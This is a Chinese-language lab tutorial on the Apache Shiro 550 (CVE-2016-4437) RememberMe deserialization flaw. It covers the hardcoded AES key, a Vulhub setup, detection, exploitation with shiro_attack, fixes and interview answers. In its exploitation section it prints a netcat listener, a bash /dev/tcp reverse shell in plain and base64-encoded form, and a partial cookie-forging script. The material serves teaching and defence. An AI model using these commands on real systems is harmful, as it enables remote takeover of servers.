一、漏洞概述
1.1 什么是 Apache Shiro
Apache Shiro 是一个强大且易用的 Java 安全框架,提供身份验证、授权、加密和会话管理等功能。
功能 | 说明 |
身份验证(Authentication) | 验证用户身份 |
授权(Authorization) | 控制用户访问权限 |
会话管理(Session Management) | 管理用户会话 |
加密(Cryptography) | 数据加解密 |
1.2 漏洞核心
Shiro 提供了RememberMe(记住密码)功能,用户登录成功后生成经过加密并编码的 Cookie。
服务端处理流程:
Cookie → Base64解码 → AES解密 → 反序列化攻击者只要找到 AES 加密的密钥,就可以构造恶意对象,进行序列化 → AES加密 → Base64编码,然后作为 Cookie 的rememberMe字段发送。服务端解密并反序列化时触发 RCE。
影响版本:Apache Shiro≤ 1.2.4
二、漏洞原理详解
2.1 RememberMe 机制
用户登录时勾选“Remember Me”,服务端将用户信息序列化后加密,存入 Cookie:
步骤 | 操作 | 说明 |
① | 序列化 | 用户信息 → 字节流 |
② | AES加密 | 使用固定密钥加密字节流 |
③ | Base64编码 | 加密后字节流 → 可传输字符串 |
④ | 存储 Cookie |
|
服务端接收请求时逆向操作:Base64解码 → AES解密 → 反序列化。
2.2 漏洞根因
AES 密钥被硬编码在 Shiro 源码中。
问题 | 说明 |
固定密钥 | Shiro 1.2.4 及之前版本使用硬编码密钥 |
默认密钥 |
|
攻击方式 | 攻击者可用相同密钥伪造恶意 Cookie |
触发方式 | 服务端反序列化恶意对象 → RCE |
尽管后续版本去掉了硬编码密钥,但许多开源系统、教程范例仍使用固定密钥,可通过搜索引擎、GitHub 等收集密钥提高利用成功率。
三、环境搭建(基于 Vulhub)
3.1 环境信息
角色 | 说明 |
攻击机(Kali) | 运行利用工具、接收反弹 Shell |
靶机 | Vulhub Shiro 1.2.4 |
3.2 启动靶场
# 克隆 Vulhub(如已有则跳过) git clone https://github.com/vulhub/vulhub.git # 进入 Shiro 550 漏洞目录 cd vulhub/shiro/CVE-2016-4437 # 启动靶场 docker-compose up -d3.3 验证靶场
docker ps浏览器访问http://靶机IP:8088,看到 Shiro 示例登录页面即成功(我这里把8080改成了8088端口)。
四、漏洞检测
4.1 特征判断
方法一:观察 Cookie
使用 Burp Suite 抓包,在请求包 Cookie 中添加rememberMe=123,观察响应头是否返回rememberMe=deleteMe。
特征 | 说明 |
| 表明系统使用了 Shiro 框架 |
URL 包含 | 辅助判断 |
方法二:使用检测工具
使用shiro_attack工具一键检测:
4.2 常见检测工具
工具 | 说明 | 链接 |
shiro_attack | GUI 工具,支持密钥爆破 + 命令执行 + 内存马注入 | GitHub |
ShiroExploit | 飞鸿出品,支持漏洞检测和反弹 Shell | |
Shiro_exploit | Python 脚本,爆破密钥 |
五、漏洞利用
5.1 使用 shiro_attack 工具(推荐)
第一步:启动工具
java -jar shiro_attack-{version}-SNAPSHOT-all.jar第二步:检测目标
- 填写目标 URL(如
http://靶机IP:8080) - 点击「检测是否为 Shiro」→ 确认目标存在 Shiro rememberMe
- 点击「爆破密钥」→ 使用内置字典爆破 AES 密钥
第三步:命令执行
爆破出密钥后,选择利用链(如 CommonsBeanutils1),执行任意命令:
5.2 反弹 Shell
第一步:开启 NC 监听(Kali)
nc -lvvp 5555第二步:生成反弹 Shell 命令
原始命令:
bash -i >& /dev/tcp/攻击机IP/5555 0>&1Base64 编码后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}第三步:在工具中执行
将编码后的命令填入 shiro_attack 的命令执行框,点击执行。
第四步:获取 Shell
NC 监听终端收到反弹 Shell:
root@bdd8b135516e:/#5.3 手动利用(Python 脚本)
如果不想用 GUI 工具,也可以用 Python 脚本生成恶意 Cookie:
import uuid import base64 from Crypto.Cipher import AES key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes # 使用 ysoserial 生成 payload,然后 AES 加密 # ...六、利用链说明
利用链 | 依赖 | 说明 |
CommonsBeanutils1 | commons-beanutils | 最常用,兼容性好 |
CommonsCollections1-7 | commons-collections | 经典反序列化链 |
CommonsBeanutils1_183 | commons-beanutils 1.8.3 | 特定版本 |
七、修复方案
修复措施 | 说明 | 优先级 |
升级 Shiro | 升级到 1.2.4 以上版本(推荐最新) | 🔴 高 |
更换 AES 密钥 | 不使用默认密钥,随机生成 | 🔴 高 |
禁用 RememberMe | 如非必要,关闭 RememberMe 功能 | 🟡 中 |
WAF 规则 | 拦截包含异常 | 🟢 低 |
八、面试话术
Q:你了解 Shiro 550 漏洞吗?
“Shiro 550(CVE-2016-4437)是 Apache Shiro ≤ 1.2.4 版本的反序列化漏洞。Shiro 的 RememberMe 功能会把用户信息序列化后,用 AES 加密存入 Cookie。问题在于 AES 密钥是硬编码的(默认kPH+bIxk5D2deZiIxcaaaA==),攻击者可以用这个密钥伪造恶意 Cookie。服务端收到 Cookie 后会先 Base64 解码、AES 解密,然后反序列化,如果 Cookie 里是恶意对象,就会触发 RCE。
检测时看 Cookie 里有没有rememberMe=deleteMe特征,利用的话用shiro_attack这类工具爆破密钥,然后执行命令或反弹 Shell。修复就是升级版本 + 换密钥。”
Q:Shiro 550 和 721 有什么区别?
“Shiro 550 是因为密钥硬编码,攻击者直接用默认密钥伪造 Cookie。Shiro 721 的密钥是随机生成的,但存在 Padding Oracle 漏洞,需要先有一个合法的 RememberMe Cookie 作为前缀去爆破密钥。721 利用条件更苛刻,550 更常见。”
九、总结速查表
项目 | 说明 |
漏洞名称 | Shiro 550 反序列化漏洞 |
CVE 编号 | CVE-2016-4437 |
影响版本 | Apache Shiro ≤ 1.2.4 |
漏洞类型 | 反序列化远程代码执行(RCE) |
根本原因 | AES 密钥硬编码 |
默认密钥 |
|
检测特征 |
|
利用工具 | shiro_attack / ShiroExploit |
利用链 | CommonsBeanutils1 / CommonsCollections |
最终效果 | 任意命令执行 / 反弹 Shell |
核心 Payload 构造流程:
恶意对象 → 序列化 → AES加密(默认密钥)→ Base64编码 → 放入 rememberMe Cookie → 发送请求 → 服务端反序列化 → RCE